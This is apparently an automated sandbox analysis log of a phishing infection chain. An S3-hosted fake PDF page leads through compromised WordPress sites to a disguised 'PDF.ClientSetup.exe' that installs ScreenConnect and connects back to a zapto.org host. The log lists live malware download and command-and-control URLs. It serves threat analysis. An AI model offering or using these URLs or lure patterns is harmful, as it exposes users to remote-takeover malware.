                                Source: unknownTCP traffic detected without corresponding DNS query: 4.245.163.56
                                Source: unknownTCP traffic detected without corresponding DNS query: 4.245.163.56
                                Source: unknownTCP traffic detected without corresponding DNS query: 4.245.163.56
                                Source: unknownTCP traffic detected without corresponding DNS query: 4.245.163.56
                                Source: unknownTCP traffic detected without corresponding DNS query: 4.245.163.56
                                Source: unknownTCP traffic detected without corresponding DNS query: 4.245.163.56
                                Source: unknownTCP traffic detected without corresponding DNS query: 4.245.163.56
                                Source: unknownTCP traffic detected without corresponding DNS query: 4.245.163.56
                                Source: unknownTCP traffic detected without corresponding DNS query: 4.245.163.56
                                Source: global trafficHTTP traffic detected: GET /6354799604_PDF.html HTTP/1.1Host: cloudserver-filesredir667900989385.s3.eu-central-1.amazonaws.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
                                Source: global trafficHTTP traffic detected: GET /favicon.ico HTTP/1.1Host: cloudserver-filesredir667900989385.s3.eu-central-1.amazonaws.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://cloudserver-filesredir667900989385.s3.eu-central-1.amazonaws.com/6354799604_PDF.htmlAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
                                Source: global trafficHTTP traffic detected: GET /wp-content/uploads/elementor/thumbs/proce.php HTTP/1.1Host: silvervalleyrealestategh.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: documentReferer: https://cloudserver-filesredir667900989385.s3.eu-central-1.amazonaws.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
                                Source: global trafficHTTP traffic detected: GET /wp-content/uploads/elementor/css HTTP/1.1Host: electroagrotech.com.uaConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://cloudserver-filesredir667900989385.s3.eu-central-1.amazonaws.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
                                Source: global trafficHTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=adpkDWHB2uxHAK4&MD=6++8HOfL HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
                                Source: global trafficHTTP traffic detected: GET /wp-content/uploads/elementor/css/ HTTP/1.1Host: electroagrotech.com.uaConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://cloudserver-filesredir667900989385.s3.eu-central-1.amazonaws.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
                                Source: global trafficHTTP traffic detected: GET /meips/ADKq_NZi8R4m6H8EJruwBzxCqPKVPzWCU6p8FRwtcx3ScqmC0alrzNrsKe32Pl2h3WKXSwL-bd3kecKFfZJddwmVxlPRLfISpCAutfNswBHKsELm687KIoqZs9-Ogbs9nNrClyddA1vzBISt721ohcFF82CuM-_6WGxNRw=s0-d-e1-ft HTTP/1.1Host: ci3.googleusercontent.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8X-Client-Data: CIu2yQEIprbJAQipncoBCLbgygEIlKHLAQj2mM0BCIWgzQEIucrNAQiJ080BGMvYzQEY642lFw==Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://electroagrotech.com.ua/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
                                Source: global trafficHTTP traffic detected: GET /themes/custom/ssa_core/favicon.ico HTTP/1.1Host: electroagrotech.com.uaConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://electroagrotech.com.ua/wp-content/uploads/elementor/css/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=75ec4bb0220c377e00d94a1c6a18d2ac; visit_count=1
                                Source: global trafficHTTP traffic detected: GET /meips/ADKq_NZi8R4m6H8EJruwBzxCqPKVPzWCU6p8FRwtcx3ScqmC0alrzNrsKe32Pl2h3WKXSwL-bd3kecKFfZJddwmVxlPRLfISpCAutfNswBHKsELm687KIoqZs9-Ogbs9nNrClyddA1vzBISt721ohcFF82CuM-_6WGxNRw=s0-d-e1-ft HTTP/1.1Host: ci3.googleusercontent.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: */*X-Client-Data: CIu2yQEIprbJAQipncoBCLbgygEIlKHLAQj2mM0BCIWgzQEIucrNAQiJ080BGMvYzQEY642lFw==Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
                                Source: global trafficHTTP traffic detected: GET /Bin/Monthly_eStatementsForumdownloaded537090855311_PDF.ClientSetup.exe?e=Access&y=Guest&s=77dc3982-78be-4a22-8a61-2b1b5e23e9cc&i=Amazon HTTP/1.1Host: rjpanelplus.topConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: documentReferer: https://electroagrotech.com.ua/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
                                Source: global trafficHTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=adpkDWHB2uxHAK4&MD=6++8HOfL HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
                                Source: chromecache_125.2.drString found in binary or memory: <a rel="noopener noreferrer nofollow" href="https://www.facebook.com/sharer/sharer.php?u=" target="_blank" class=" wd-social-icon social-facebook" aria-label=" equals www.facebook.com (Facebook)
                                Source: global trafficDNS traffic detected: DNS query: cloudserver-filesredir667900989385.s3.eu-central-1.amazonaws.com
                                Source: global trafficDNS traffic detected: DNS query: silvervalleyrealestategh.com
                                Source: global trafficDNS traffic detected: DNS query: www.google.com
                                Source: global trafficDNS traffic detected: DNS query: electroagrotech.com.ua
                                Source: global trafficDNS traffic detected: DNS query: ci3.googleusercontent.com
                                Source: global trafficDNS traffic detected: DNS query: rjpanelplus.top
                                Source: global trafficDNS traffic detected: DNS query: tmqw21a.zapto.org
                                Source: global trafficHTTP traffic detected: HTTP/1.1 403 Forbiddenx-amz-request-id: 5VJANPKBFNA9W987x-amz-id-2: RRYNGnGKgmOQJI5BzeOJxqJz0zPxwi94bkv674p4Z6E/Ebl370tpFxDgwj8pO3rNTs2gmYcVF8OxCpGnPgCseA==Content-Type: application/xmlTransfer-Encoding: chunkedDate: Wed, 27 Nov 2024 15:53:46 GMTServer: AmazonS3Connection: close
                                Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closex-powered-by: PHP/7.4.33expires: Wed, 11 Jan 1984 05:00:00 GMTcache-control: no-cache, must-revalidate, max-age=0content-type: text/html; charset=UTF-8link: <https://electroagrotech.com.ua/wp-json/>; rel="https://api.w.org/"transfer-encoding: chunkeddate: Wed, 27 Nov 2024 15:54:02 GMTserver: LiteSpeedalt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=2592000, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46"
                                Source: Monthly_eStatementsForumdownloaded537090855311_PDF.ClientSetup.exe, 0000000C.00000000.1549114318.000000000148F000.00000002.00000001.01000000.00000006.sdmp, Monthly_eStatementsForumdownloaded537090855311_PDF.ClientSetup.exe, 0000000C.00000002.1568855377.0000000005CBC000.00000004.08000000.00040000.00000000.sdmp, ScreenConnect.ClientService.exe, 00000013.00000002.2485645584.0000000003287000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000014.00000002.2491209111.0000000012610000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.ClientService.exe.14.dr, Unconfirmed 905245.crdownload.1.dr, chromecache_123.2.dr, ScreenConnect.WindowsCredentialProvider.dll.14.dr, ScreenConnect.WindowsBackstageShell.exe.14.drString found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
                                Source: ScreenConnect.WindowsClient.exe, 00000014.00000002.2491209111.0000000012610000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.ClientService.exe.14.dr, Unconfirmed 905245.crdownload.1.dr, chromecache_123.2.dr, ScreenConnect.WindowsCredentialProvider.dll.14.dr, ScreenConnect.WindowsBackstageShell.exe.14.drString found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crt0
                                Source: Monthly_eStatementsForumdownloaded537090855311_PDF.ClientSetup.exe, 0000000C.00000000.1549114318.000000000148F000.00000002.00000001.01000000.00000006.sdmp, Monthly_eStatementsForumdownloaded537090855311_PDF.ClientSetup.exe, 0000000C.00000002.1568855377.0000000005CBC000.00000004.08000000.00040000.00000000.sdmp, ScreenConnect.ClientService.exe, 00000013.00000002.2485645584.0000000003287000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000014.00000002.2491209111.0000000012610000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.ClientService.exe.14.dr, Unconfirmed 905245.crdownload.1.dr, chromecache_123.2.dr, ScreenConnect.WindowsCredentialProvider.dll.14.dr, ScreenConnect.WindowsBackstageShell.exe.14.drString found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
                                Source: Monthly_eStatementsForumdownloaded537090855311_PDF.ClientSetup.exe, 0000000C.00000000.1549114318.000000000148F000.00000002.00000001.01000000.00000006.sdmp, Monthly_eStatementsForumdownloaded537090855311_PDF.ClientSetup.exe, 0000000C.00000002.1568855377.0000000005CBC000.00000004.08000000.00040000.00000000.sdmp, ScreenConnect.ClientService.exe, 00000013.00000002.2485645584.0000000003287000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000014.00000002.2491209111.0000000012610000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.ClientService.exe.14.dr, Unconfirmed 905245.crdownload.1.dr, chromecache_123.2.dr, ScreenConnect.WindowsCredentialProvider.dll.14.dr, ScreenConnect.WindowsBackstageShell.exe.14.drString found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
                                Source: svchost.exe, 00000000.00000002.2472907532.0000025A48E00000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crl.ver)
                                Source: Monthly_eStatementsForumdownloaded537090855311_PDF.ClientSetup.exe, 0000000C.00000000.1549114318.000000000148F000.00000002.00000001.01000000.00000006.sdmp, Monthly_eStatementsForumdownloaded537090855311_PDF.ClientSetup.exe, 0000000C.00000002.1568855377.0000000005CBC000.00000004.08000000.00040000.00000000.sdmp, ScreenConnect.ClientService.exe, 00000013.00000002.2485645584.0000000003287000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000014.00000002.2491209111.0000000012610000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.ClientService.exe.14.dr, Unconfirmed 905245.crdownload.1.dr, chromecache_123.2.dr, ScreenConnect.WindowsCredentialProvider.dll.14.dr, ScreenConnect.WindowsBackstageShell.exe.14.drString found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
                                Source: Monthly_eStatementsForumdownloaded537090855311_PDF.ClientSetup.exe, 0000000C.00000000.1549114318.000000000148F000.00000002.00000001.01000000.00000006.sdmp, Monthly_eStatementsForumdownloaded537090855311_PDF.ClientSetup.exe, 0000000C.00000002.1568855377.0000000005CBC000.00000004.08000000.00040000.00000000.sdmp, ScreenConnect.ClientService.exe, 00000013.00000002.2485645584.0000000003287000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000014.00000002.2491209111.0000000012610000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.ClientService.exe.14.dr, Unconfirmed 905245.crdownload.1.dr, chromecache_123.2.dr, ScreenConnect.WindowsCredentialProvider.dll.14.dr, ScreenConnect.WindowsBackstageShell.exe.14.drString found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0S
                                Source: Monthly_eStatementsForumdownloaded537090855311_PDF.ClientSetup.exe, 0000000C.00000000.1549114318.000000000148F000.00000002.00000001.01000000.00000006.sdmp, Monthly_eStatementsForumdownloaded537090855311_PDF.ClientSetup.exe, 0000000C.00000002.1568855377.0000000005CBC000.00000004.08000000.00040000.00000000.sdmp, ScreenConnect.ClientService.exe, 00000013.00000002.2485645584.0000000003287000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000014.00000002.2491209111.0000000012610000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.ClientService.exe.14.dr, Unconfirmed 905245.crdownload.1.dr, chromecache_123.2.dr, ScreenConnect.WindowsCredentialProvider.dll.14.dr, ScreenConnect.WindowsBackstageShell.exe.14.drString found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
                                Source: ScreenConnect.WindowsBackstageShell.exe.14.drString found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
                                Source: ScreenConnect.WindowsClient.exe, 00000014.00000002.2491209111.0000000012610000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.ClientService.exe.14.dr, Unconfirmed 905245.crdownload.1.dr, chromecache_123.2.dr, ScreenConnect.WindowsCredentialProvider.dll.14.dr, ScreenConnect.WindowsBackstageShell.exe.14.drString found in binary or memory: http://crl4.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0
                                Source: svchost.exe, 00000000.00000002.2475115602.0000025A48E95000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://edgedl.me.gvt1.com/
                                Source: svchost.exe, 00000000.00000002.2475655537.0000025A48EA7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000002.2466469639.0000025A43800000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000003.1866105795.0000025A48C62000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 00000000.00000002.2475115602.0000025A48E95000.00000004.00000020.00020000.00000000.sdmp, edb.log.0.drString found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adm5fg7myczym5ugfpmw2lireirq_2024.11.8.0/
                                Source: svchost.exe, 00000000.00000002.2475655537.0000025A48EA7000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://edgedl.me.gvt1.com:80
                                Source: edb.log.0.drString found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
                                Source: Monthly_eStatementsForumdownloaded537090855311_PDF.ClientSetup.exe, 0000000C.00000000.1549114318.000000000148F000.00000002.00000001.01000000.00000006.sdmp, Monthly_eStatementsForumdownloaded537090855311_PDF.ClientSetup.exe, 0000000C.00000002.1568855377.0000000005CBC000.00000004.08000000.00040000.00000000.sdmp, ScreenConnect.ClientService.exe, 00000013.00000002.2485645584.0000000003287000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000014.00000002.2491209111.0000000012610000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.ClientService.exe.14.dr, Unconfirmed 905245.crdownload.1.dr, chromecache_123.2.dr, ScreenConnect.WindowsCredentialProvider.dll.14.dr, ScreenConnect.WindowsBackstageShell.exe.14.drString found in binary or memory: http://ocsp.digicert.com0
                                Source: Monthly_eStatementsForumdownloaded537090855311_PDF.ClientSetup.exe, 0000000C.00000000.1549114318.000000000148F000.00000002.00000001.01000000.00000006.sdmp, Monthly_eStatementsForumdownloaded537090855311_PDF.ClientSetup.exe, 0000000C.00000002.1568855377.0000000005CBC000.00000004.08000000.00040000.00000000.sdmp, ScreenConnect.ClientService.exe, 00000013.00000002.2485645584.0000000003287000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000014.00000002.2491209111.0000000012610000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.ClientService.exe.14.dr, Unconfirmed 905245.crdownload.1.dr, chromecache_123.2.dr, ScreenConnect.WindowsCredentialProvider.dll.14.dr, ScreenConnect.WindowsBackstageShell.exe.14.drString found in binary or memory: http://ocsp.digicert.com0A
                                Source: Monthly_eStatementsForumdownloaded537090855311_PDF.ClientSetup.exe, 0000000C.00000000.1549114318.000000000148F000.00000002.00000001.01000000.00000006.sdmp, Monthly_eStatementsForumdownloaded537090855311_PDF.ClientSetup.exe, 0000000C.00000002.1568855377.0000000005CBC000.00000004.08000000.00040000.00000000.sdmp, ScreenConnect.ClientService.exe, 00000013.00000002.2485645584.0000000003287000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000014.00000002.2491209111.0000000012610000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.ClientService.exe.14.dr, Unconfirmed 905245.crdownload.1.dr, chromecache_123.2.dr, ScreenConnect.WindowsCredentialProvider.dll.14.dr, ScreenConnect.WindowsBackstageShell.exe.14.drString found in binary or memory: http://ocsp.digicert.com0C
                                Source: Monthly_eStatementsForumdownloaded537090855311_PDF.ClientSetup.exe, 0000000C.00000000.1549114318.000000000148F000.00000002.00000001.01000000.00000006.sdmp, Monthly_eStatementsForumdownloaded537090855311_PDF.ClientSetup.exe, 0000000C.00000002.1568855377.0000000005CBC000.00000004.08000000.00040000.00000000.sdmp, ScreenConnect.ClientService.exe, 00000013.00000002.2485645584.0000000003287000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000014.00000002.2491209111.0000000012610000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.ClientService.exe.14.dr, Unconfirmed 905245.crdownload.1.dr, chromecache_123.2.dr, ScreenConnect.WindowsCredentialProvider.dll.14.dr, ScreenConnect.WindowsBackstageShell.exe.14.drString found in binary or memory: http://ocsp.digicert.com0X
                                Source: ScreenConnect.ClientService.exe, 00000013.00000002.2472473045.00000000025A4000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
                                Source: ScreenConnect.ClientService.exe, 00000013.00000002.2499966933.000000000509F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://tmqw21a.zapto.org:8041/
                                Source: ScreenConnect.ClientService.exe, 00000013.00000002.2499966933.000000000509F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://tmqw21a.zapto.org:8041/:
                                Source: ScreenConnect.ClientService.exe, 00000013.00000002.2499966933.000000000509F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://tmqw21a.zapto.org:8041/D
                                Source: ScreenConnect.ClientService.exe, 00000013.00000002.2499966933.000000000509F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://tmqw21a.zapto.org:8041/M
                                Source: ScreenConnect.ClientService.exe, 00000013.00000002.2499966933.000000000509F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://tmqw21a.zapto.org:8041/X#
                                Source: ScreenConnect.ClientService.exe, 00000013.00000002.2472473045.0000000002608000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.ClientService.exe, 00000013.00000002.2472473045.00000000025BE000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.ClientService.exe, 00000013.00000002.2472473045.00000000025A4000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.ClientService.exe, 00000013.00000002.2472473045.00000000025E2000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.ClientService.exe, 00000013.00000002.2472473045.00000000025F6000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.ClientService.exe, 00000013.00000002.2472473045.00000000025D0000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.ClientService.exe, 00000013.00000002.2472473045.0000000002448000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://tmqw21a.zapto.org:8041/l
                                Source: rundll32.exe, 00000010.00000003.1565793061.0000000004921000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000010.00000003.1567568317.0000000004823000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000010.00000003.1565793061.0000000004990000.00000004.00000020.00020000.00000000.sdmp, Microsoft.Deployment.Compression.dll.16.dr, Microsoft.Deployment.Compression.Cab.dll.16.dr, Microsoft.Deployment.WindowsInstaller.dll.16.dr, Microsoft.Deployment.WindowsInstaller.Package.dll.16.drString found in binary or memory: http://wixtoolset.org/Whttp://wixtoolset.org/telemetry/v
                                Source: rundll32.exe, 00000010.00000003.1565793061.0000000004921000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000010.00000003.1567568317.0000000004823000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000010.00000003.1565793061.0000000004990000.00000004.00000020.00020000.00000000.sdmp, Microsoft.Deployment.Compression.dll.16.dr, Microsoft.Deployment.Compression.Cab.dll.16.dr, Microsoft.Deployment.WindowsInstaller.dll.16.dr, Microsoft.Deployment.WindowsInstaller.Package.dll.16.drString found in binary or memory: http://wixtoolset.org/news/
                                Source: rundll32.exe, 00000010.00000003.1565793061.0000000004921000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000010.00000003.1567568317.0000000004823000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000010.00000003.1565793061.0000000004990000.00000004.00000020.00020000.00000000.sdmp, Microsoft.Deployment.Compression.dll.16.dr, Microsoft.Deployment.Compression.Cab.dll.16.dr, Microsoft.Deployment.WindowsInstaller.dll.16.dr, Microsoft.Deployment.WindowsInstaller.Package.dll.16.drString found in binary or memory: http://wixtoolset.org/releases/
                                Source: svchost.exe, 00000004.00000002.1367243796.000001CC32E13000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.bingmapsportal.com
                                Source: Monthly_eStatementsForumdownloaded537090855311_PDF.ClientSetup.exe, 0000000C.00000000.1549114318.000000000148F000.00000002.00000001.01000000.00000006.sdmp, Monthly_eStatementsForumdownloaded537090855311_PDF.ClientSetup.exe, 0000000C.00000002.1568855377.0000000005CBC000.00000004.08000000.00040000.00000000.sdmp, ScreenConnect.ClientService.exe, 00000013.00000002.2485645584.0000000003287000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000014.00000002.2491209111.0000000012610000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.ClientService.exe.14.dr, Unconfirmed 905245.crdownload.1.dr, chromecache_123.2.dr, ScreenConnect.WindowsCredentialProvider.dll.14.dr, ScreenConnect.WindowsBackstageShell.exe.14.drString found in binary or memory: http://www.digicert.com/CPS0
                                Source: chromecache_125.2.drString found in binary or memory: https://api.w.org/
                                Source: svchost.exe, 00000004.00000003.1366647183.000001CC32E58000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://appexmapsappupdate.blob.core.windows.net
                                Source: svchost.exe, 00000004.00000002.1367449017.000001CC32E59000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000004.00000003.1366647183.000001CC32E58000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://dev.ditu.live.com/REST/V1/MapControlConfiguration/native/
                                Source: svchost.exe, 00000004.00000003.1366542903.000001CC32E62000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000004.00000003.1366419979.000001CC32E6E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000004.00000003.1366751336.000001CC32E43000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000004.00000003.1366704332.000001CC32E5A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000004.00000003.1366647183.000001CC32E58000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000004.00000002.1367504872.000001CC32E72000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://dev.ditu.live.com/REST/v1/Imagery/Copyright/
                                Source: svchost.exe, 00000004.00000003.1366647183.000001CC32E58000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://dev.ditu.live.com/REST/v1/Locations
                                Source: svchost.exe, 00000004.00000003.1366521026.000001CC32E67000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://dev.ditu.live.com/REST/v1/Routes/
                                Source: svchost.exe, 00000004.00000003.1366382805.000001CC32E74000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://dev.ditu.live.com/REST/v1/Transit/Stops/
                                Source: svchost.exe, 00000004.00000003.1366647183.000001CC32E58000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://dev.ditu.live.com/mapcontrol/logging.ashx
                                Source: svchost.exe, 00000004.00000002.1367466683.000001CC32E65000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000004.00000003.1366542903.000001CC32E62000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000004.00000003.1366704332.000001CC32E5A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000004.00000003.1366647183.000001CC32E58000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://dev.virtualearth.net/REST/v1/Imagery/Copyright/
                                Source: svchost.exe, 00000004.00000003.1366647183.000001CC32E58000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://dev.virtualearth.net/REST/v1/Locations
